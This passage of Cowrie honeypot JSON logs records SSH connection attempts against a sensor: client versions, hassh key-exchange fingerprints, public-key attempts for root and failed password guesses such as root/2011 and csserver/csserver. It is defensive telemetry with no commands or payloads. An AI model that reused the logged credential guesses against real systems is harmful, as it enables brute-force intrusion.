cdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:18.300217Z","src_ip":"45.156.87.69","session":"ca72f0789502","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"123456","message":"login attempt [ftptest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:18.571366Z","src_ip":"45.156.87.69","session":"ca72f0789502","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.219.62.79","src_port":40280,"dst_ip":"10.17.0.5","dst_port":22,"session":"67e339ea6e78","protocol":"ssh","message":"New connection: 91.219.62.79:40280 (10.17.0.5:22) [session: 67e339ea6e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:19.627521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:19.632833Z","src_ip":"91.219.62.79","session":"67e339ea6e78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:19.717752Z","src_ip":"91.219.62.79","session":"67e339ea6e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:19.756008Z","src_ip":"45.156.87.69","session":"ca72f0789502","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:87:ac:21:23:bf:f9:37:f0:61:92:a2:07:ee:8e:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXBb9pfRvf9d4QiquIAH/m6Nk573/LM3Muq2QWK4E/5JOuA7e03CkYzMrQ+YTeE92RLYLx2fk9d+8eODUJRYFH/GI6LEkXtgU46JqYGw38gVVFiyFHJ4/cW2iILVTmpW9gpT4n9X+/DCaf9mOQwUmOQASw5p8E4Fs2BHyRs0FnT3DNGpv8qfgKvmPB52Zsr9OwNEaoE2Xy+rVW+F38OiYpfIKL6bPPKLCJTdlg10HX5LTeKynlPxeEDNUHp1+j7f1F7MOtOlU8WumSMNWCheo1howg+9zpcb5VpbsHUHHO2LXfcDjq0cgpNAfe8zhSQg7RfGpVtuG62Wdgy4fW8a0R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:87:ac:21:23:bf:f9:37:f0:61:92:a2:07:ee:8e:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:20.113792Z","src_ip":"91.219.62.79","session":"67e339ea6e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:87:ac:21:23:bf:f9:37:f0:61:92:a2:07:ee:8e:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXBb9pfRvf9d4QiquIAH/m6Nk573/LM3Muq2QWK4E/5JOuA7e03CkYzMrQ+YTeE92RLYLx2fk9d+8eODUJRYFH/GI6LEkXtgU46JqYGw38gVVFiyFHJ4/cW2iILVTmpW9gpT4n9X+/DCaf9mOQwUmOQASw5p8E4Fs2BHyRs0FnT3DNGpv8qfgKvmPB52Zsr9OwNEaoE2Xy+rVW+F38OiYpfIKL6bPPKLCJTdlg10HX5LTeKynlPxeEDNUHp1+j7f1F7MOtOlU8WumSMNWCheo1howg+9zpcb5VpbsHUHHO2LXfcDjq0cgpNAfe8zhSQg7RfGpVtuG62Wdgy4fW8a0R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:20.117693Z","src_ip":"91.219.62.79","session":"67e339ea6e78","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"58:57:60:44:54:69:b9:fd:81:e3:37:73:75:96:6c:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCokbSJg+LakCs423Q/8R3V+Sh2nFkGh4BlKjbNU/Uwr9OknFkLhnsTzbHPICeucMsvP4vEVACN1p7ghY2BLVYnUG/PcviN3/I1I9AE+WvyUVGhifZy5gIthbOyDrZeKWl1uG84JLVKF19b+XTHoTNwTwablmzZ5cqu3QMi4xbIt473msd8u8iRYvup3L68AbbOFpjs9RiN1VHfV98F8WwWT9soXNUgPwitPbPADP49IkVWozH+dEImxCMC09UO6Dk95H8Jdwp8CNIEQJhrfK29zBjYaiHhrF1l+ywJMC2YkDK7MkcUOpc12uWuL+i5TJC1lWzzt9W/aOSNXFce8cwb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 58:57:60:44:54:69:b9:fd:81:e3:37:73:75:96:6c:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:20.202350Z","src_ip":"91.219.62.79","session":"67e339ea6e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"58:57:60:44:54:69:b9:fd:81:e3:37:73:75:96:6c:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCokbSJg+LakCs423Q/8R3V+Sh2nFkGh4BlKjbNU/Uwr9OknFkLhnsTzbHPICeucMsvP4vEVACN1p7ghY2BLVYnUG/PcviN3/I1I9AE+WvyUVGhifZy5gIthbOyDrZeKWl1uG84JLVKF19b+XTHoTNwTwablmzZ5cqu3QMi4xbIt473msd8u8iRYvup3L68AbbOFpjs9RiN1VHfV98F8WwWT9soXNUgPwitPbPADP49IkVWozH+dEImxCMC09UO6Dk95H8Jdwp8CNIEQJhrfK29zBjYaiHhrF1l+ywJMC2YkDK7MkcUOpc12uWuL+i5TJC1lWzzt9W/aOSNXFce8cwb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:20.205841Z","src_ip":"91.219.62.79","session":"67e339ea6e78","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:f6:e8:14:22:33:cf:07:dd:e6:96:21:ae:a4:98:a1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGiKv9m9MNlzDWXSJgY7RrgJKyaNKAwSKPmcoTkGsUzf","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 5a:f6:e8:14:22:33:cf:07:dd:e6:96:21:ae:a4:98:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:20.289782Z","src_ip":"91.219.62.79","session":"67e339ea6e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:f6:e8:14:22:33:cf:07:dd:e6:96:21:ae:a4:98:a1","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGiKv9m9MNlzDWXSJgY7RrgJKyaNKAwSKPmcoTkGsUzf","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:20.293885Z","src_ip":"91.219.62.79","session":"67e339ea6e78","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:3e:4e:cf:01:ab:f1:36:9b:d0:62:50:60:47:40:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3sHHei9KUklS3tUPr8uELIK+2Z2ipWTMwPPTTHOGgD7Bumuph/PBnGP3l7LDoMjQkBVYJ61AevTemPFP8BYN3LqSxfZT9zI43WFpRwMk4hXQ3vTGdqqGWg9901EWmY15+2NJ/6Jd4i0r0M/2c5MRoBc1hVO+j2HU76ubUYvNsxs6Bh2fM/SkhhCMK2C5VppKkJQNxADcxRCi9T2Do+yN0fy0yxSu0HZVKMIWFIKGuT5Bt1kKj/dyWQBW8GB7gT8uFmKbdq4AMOuiFN31uvHBvyj8bN6yM4+xtOgeNYRs9M/agO8zS1xwnZ1QOY6MAwHHCvJqZ01oUVHM+yoFHMdYx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:3e:4e:cf:01:ab:f1:36:9b:d0:62:50:60:47:40:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:20.378489Z","src_ip":"91.219.62.79","session":"67e339ea6e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:3e:4e:cf:01:ab:f1:36:9b:d0:62:50:60:47:40:71","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3sHHei9KUklS3tUPr8uELIK+2Z2ipWTMwPPTTHOGgD7Bumuph/PBnGP3l7LDoMjQkBVYJ61AevTemPFP8BYN3LqSxfZT9zI43WFpRwMk4hXQ3vTGdqqGWg9901EWmY15+2NJ/6Jd4i0r0M/2c5MRoBc1hVO+j2HU76ubUYvNsxs6Bh2fM/SkhhCMK2C5VppKkJQNxADcxRCi9T2Do+yN0fy0yxSu0HZVKMIWFIKGuT5Bt1kKj/dyWQBW8GB7gT8uFmKbdq4AMOuiFN31uvHBvyj8bN6yM4+xtOgeNYRs9M/agO8zS1xwnZ1QOY6MAwHHCvJqZ01oUVHM+yoFHMdYx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:20.383451Z","src_ip":"91.219.62.79","session":"67e339ea6e78","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:a5:16:36:96:4d:41:71:99:da:df:6f:b2:a8:b7:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzRk4u7s/wt8I9Ks75VfuVF2i6569u8Yacw3mvTUXMMl4CRZBF2wufVbkq2OyTyuhss6VcXpxsb5t+U+e9NLLh7Ci0Hs61SEuZL0dLzk0jZ7Y4FEuvgmk36uTf3BqZFxIy4NSxOFzDJHTJo0TFbeADkWotw4c5GJN2NRdicT5qrBfGvItIrBCyffqsDBzdjeD6wH62sSMCaQNlzh8xzktZFSejbOKcCV4Xvg/NmjIq3ECYq1SpdVeD/dePA3Hm0m9PYCZOfBob+orbY5/6eEWC7c19QkHEIQTlweyFNnCuNb3s4c5p2Y4rD84/C4MtGCApbjle1x25Weh9fuiF09pwQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:a5:16:36:96:4d:41:71:99:da:df:6f:b2:a8:b7:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:20.470798Z","src_ip":"91.219.62.79","session":"67e339ea6e78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:a5:16:36:96:4d:41:71:99:da:df:6f:b2:a8:b7:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzRk4u7s/wt8I9Ks75VfuVF2i6569u8Yacw3mvTUXMMl4CRZBF2wufVbkq2OyTyuhss6VcXpxsb5t+U+e9NLLh7Ci0Hs61SEuZL0dLzk0jZ7Y4FEuvgmk36uTf3BqZFxIy4NSxOFzDJHTJo0TFbeADkWotw4c5GJN2NRdicT5qrBfGvItIrBCyffqsDBzdjeD6wH62sSMCaQNlzh8xzktZFSejbOKcCV4Xvg/NmjIq3ECYq1SpdVeD/dePA3Hm0m9PYCZOfBob+orbY5/6eEWC7c19QkHEIQTlweyFNnCuNb3s4c5p2Y4rD84/C4MtGCApbjle1x25Weh9fuiF09pwQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:20.474657Z","src_ip":"91.219.62.79","session":"67e339ea6e78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:20.559829Z","src_ip":"91.219.62.79","session":"67e339ea6e78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":12088,"dst_ip":"159.203.135.109","dst_port":22,"session":"a85c55a76318","protocol":"ssh","message":"New connection: 45.156.87.69:12088 (159.203.135.109:22) [session: a85c55a76318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:21.807052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:21.811447Z","src_ip":"45.156.87.69","session":"a85c55a76318","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:21.897401Z","src_ip":"45.156.87.69","session":"a85c55a76318","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vahid","password":"hooman","message":"login attempt [vahid/hooman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:22.198141Z","src_ip":"45.156.87.69","session":"a85c55a76318","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:23.284809Z","src_ip":"45.156.87.69","session":"a85c55a76318","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":12096,"dst_ip":"159.203.135.109","dst_port":22,"session":"09837713feb7","protocol":"ssh","message":"New connection: 45.156.87.69:12096 (159.203.135.109:22) [session: 09837713feb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:25.129058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:25.134765Z","src_ip":"45.156.87.69","session":"09837713feb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:25.235474Z","src_ip":"45.156.87.69","session":"09837713feb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csserver","password":"csserver","message":"login attempt [csserver/csserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:25.688242Z","src_ip":"45.156.87.69","session":"09837713feb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:26.772265Z","src_ip":"45.156.87.69","session":"09837713feb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.14140057563782,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:26.932885Z","src_ip":"152.42.224.71","session":"957a6d1b882c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":47834,"dst_ip":"159.203.135.109","dst_port":22,"session":"5163ea277ee4","protocol":"ssh","message":"New connection: 45.156.87.69:47834 (159.203.135.109:22) [session: 5163ea277ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:28.586146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:28.591296Z","src_ip":"45.156.87.69","session":"5163ea277ee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:28.681780Z","src_ip":"45.156.87.69","session":"5163ea277ee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2011","message":"login attempt [root/2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:29.081029Z","src_ip":"45.156.87.69","session":"5163ea277ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:30.198356Z","src_ip":"45.156.87.69","session":"5163ea277ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":47848,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d6b46cd895e","protocol":"ssh","message":"New connection: 45.156.87.69:47848 (159.203.135.109:22) [session: 3d6b46cd895e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:31.993582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:52:32.072272Z","src_ip":"45.156.87.69","session":"3d6b46cd895e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 